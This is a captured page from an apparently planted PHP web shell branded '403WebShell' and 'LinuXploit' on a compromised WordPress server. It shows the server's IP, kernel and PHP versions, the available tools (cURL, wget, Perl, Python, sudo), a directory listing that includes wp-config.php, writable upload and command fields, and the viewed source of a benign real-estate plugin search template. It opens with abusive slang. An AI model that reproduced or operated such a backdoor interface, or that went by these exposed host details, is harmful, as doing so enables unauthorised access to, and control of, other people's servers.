buyer kontol nego ga ngotak comecondo.com
 Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
 Apache/2.4.18 (Ubuntu)
 68.183.124.220
 Cant read /etc/named.conf
Name Type Size Owner/Group Permission Last Modified Actions
. dir - gavin/www-data drwxr-sr-x 2024-12-15 11:41:30
.. dir - root/root drwxr-xr-x 2019-08-25 02:29:45
.sucuriquarantine dir - root/www-data drwxr-sr-x 2024-05-24 05:31:33
home dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
worksheets dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
wp-admin dir - gavin/www-data drwxr-sr-x 2025-08-29 03:10:31
wp-content dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
wp-includes dir - gavin/www-data drwxr-sr-x 2021-06-27 11:01:30
.htaccess text/plain 201 B root/www-data -rw-r--r-- 2021-06-24 04:05:20
agent-contact-1.JPG image/jpeg 22.78 KB gavin/www-data -rw-rw-r-- 2022-01-31 05:13:10
circle-16.png image/png 268 B gavin/www-data -rw-rw-r-- 2021-01-11 04:23:00
index.html text/html 11.06 KB gavin/www-data -rw-r--r-- 2019-08-25 02:29:47
index.php text/x-php 420 B gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
license.txt text/plain 19.47 KB gavin/www-data -rw-r--r-- 2019-01-01 08:37:49
map.php text/html 1012 B gavin/www-data -rw-rw-r-- 2021-01-01 03:50:38
pin-8-16.png image/png 309 B gavin/www-data -rw-rw-r-- 2021-01-11 04:38:33
pin-8-24.png image/png 499 B gavin/www-data -rw-rw-r-- 2021-01-11 04:40:01
pin-blue-1.png image/png 28.16 KB gavin/www-data -rw-rw-r-- 2022-01-27 09:10:36
pin-green-1.png image/png 12.71 KB gavin/www-data -rw-rw-r-- 2022-01-27 09:23:52
pin-house-red-2.png image/png 1.36 KB gavin/www-data -rw-rw-r-- 2022-01-30 09:18:10
pin-house-red-3.png image/png 2.49 KB gavin/www-data -rw-rw-r-- 2022-01-30 09:20:50
readme.html text/html 7.27 KB gavin/www-data -rw-r--r-- 2019-04-08 10:59:56
wallpaper1.jpg image/jpeg 58.99 KB gavin/www-data -rw-rw-r-- 2022-01-29 05:15:06
wallpaper2.jpg image/jpeg 788.8 KB gavin/www-data -rw-rw-r-- 2022-02-01 11:27:14
wp-activate.php text/x-php 6.76 KB gavin/www-data -rw-r--r-- 2019-01-12 06:41:52
wp-blog-header.php text/x-php 369 B gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-comments-post.php text/x-php 2.23 KB gavin/www-data -rw-r--r-- 2019-01-21 01:34:51
wp-config-sample.php text/x-php 2.83 KB gavin/www-data -rw-r--r-- 2020-10-24 04:07:41
wp-config.php text/x-php 3.62 KB gavin/www-data -rw-r--r-- 2022-04-20 01:23:49
wp-cron.php text/x-php 3.76 KB gavin/www-data -rw-r--r-- 2019-01-09 08:37:51
wp-links-opml.php text/x-php 2.44 KB gavin/www-data -rw-r--r-- 2019-01-16 05:29:49
wp-load.php text/x-php 3.23 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-login.php text/x-php 38.62 KB gavin/www-data -rw-r--r-- 2019-06-10 01:34:45
wp-mail.php text/x-php 8.21 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-settings.php text/x-php 18.52 KB gavin/www-data -rw-r--r-- 2019-03-28 07:04:51
wp-signup.php text/x-php 30.36 KB gavin/www-data -rw-r--r-- 2019-01-16 04:51:52
wp-trackback.php text/x-php 4.65 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
xmlrpc.php text/x-php 3 KB gavin/www-data -rw-r--r-- 2018-08-17 01:51:36
© BlackDragon
403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.216.228
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/aperture-real-estate-pro/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/aperture-real-estate-pro/templates/search-property.php
<?php
/**
 * The template for displaying search results, when the search if performed using the Advanced Search Option.
 * This template has been provided to work with WP Property Listings Plugin.
 * This file will not be executed if the Required plugin is not active.
 * (c) Rohit Tripathi 2017
 *
 * @package wpre
 */
 
$_name = $_GET['s'] != '' ? esc_html($_GET['s']) : '';
$_location = $_GET['place'] != '' ? esc_html($_GET['place']) : '';
$_contract = $_GET['contract'] != '' ? esc_html($_GET['contract']) : '';
$price_low = $_GET['price_low'] != '' ? esc_html($_GET['price_low']) : '';
$price_high = $_GET['price_high'] != '' ? esc_html($_GET['price_high']) : '';



get_header(); ?>
<?php do_action('aperture_search'); ?>
<div class="property-wrapper clear">
    <div class="grid-wide property-preview">
		
		<?php

$tax_query = array( 'relation' => 'AND' );

//Location Types_Query


if (!empty($_location)) {
	$tax_query[] = array(
		'taxonomy' => 'location',
		'field' => 'id',
		'terms' => $_location
	);
}

$meta_query = NULL;
// Contract Types meta_Query
if (!empty($_contract)) {
	$meta_query[] = array(
		'key' => 'status',
		'value' => $_contract,
    	//'compare' => 'IN',

	);
}
// Filter by price
if (!empty($price_high)) {
	$meta_query[] = array(
		'key' => 'price',
		'value'   => array( $price_low, $price_high ),
		'type'    => 'numeric',
		'compare' => 'BETWEEN',

	);
}

			$p_args = array(
		        'post_type'     =>  'property', // your CPT
		        's'             =>  $_name, // looks into everything with the keyword from your 'name field'
		        //'relation' => 'AND',

				 'tax_query' => $tax_query,
				 'meta_query' => $meta_query,

    		    );
		$property = new WP_Query( $p_args );	
			
		if($property->have_posts()):
			while($property->have_posts()): $property->the_post();

			$status = get_field('status');
			$price = get_field('price');
			$currency = get_theme_mod('currency');
		?>

			<div class="col-4-12 property">
				<?php 	if ( has_post_thumbnail() ) { 
					$thumb = get_the_post_thumbnail_url(get_the_ID(),'large');
				}
				else {
					$thumb = get_template_directory_uri() .'/img/header-default.jpg';
				} ?>
				<a href="<?php the_permalink(); ?>" >
					<div class="thumbnail" style="background-image:url('<?php echo $thumb; ?>'); background-size: cover;">
						<?php if($status == 'Sale') {?>
						<span class="for-sale"><?php esc_html_e('For Sale','aperture-real-estate-pro');?></span>
						<?php } elseif($status == "Rent") { ?>
						<span class="for-rent"><?php esc_html_e('Rental','aperture-real-estate-pro');?></span>
						<?php } else {?>
						<span class="sold"><?php esc_html_e('SOLD','aperture-real-estate-pro');?></span>
						<?php } ?>
					</div>
				</a>
				<div class="property-details">
					<?php //aperture_property_location(); ?>
					<span class="location"><?php the_terms( $post->ID, 'location' ); ?></span>
					<?php 
					the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' );
					?>
					<span class="price"><?php echo $currency , $price; ?></span>
					<?php 
					// check if the repeater field has rows of data
					//do no re-write this using a while loop it messes up the wp loop to infinity.
					//only seems to affect the properties block, too many loops maybe?
					$rows = get_field('details');
					if($rows){		
						echo '<div class="property-amenities-small"> <ul class="amenities clear">';
						// using array_slice to limit the returned values to 3
						$details = array_slice( get_field('details'), 0, 3 );
						foreach((array) $details as $detail){
							// display a sub field value
							echo '<li class="checked">' . $detail["detail"] .'</li>';
						}
						echo '</ul></div>';
					}
					?>
				</div>
			</div>


			<?php 
			endwhile;
		wp_reset_postdata();
		else:
		echo '<h2>'. esc_html('No Properties matched the search criteria, please try again with different filters', 'aperture-real-estate-pro').'</h2>';

		endif;		?>
		
	

    </div><!-- #primary -->
    </div>

<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit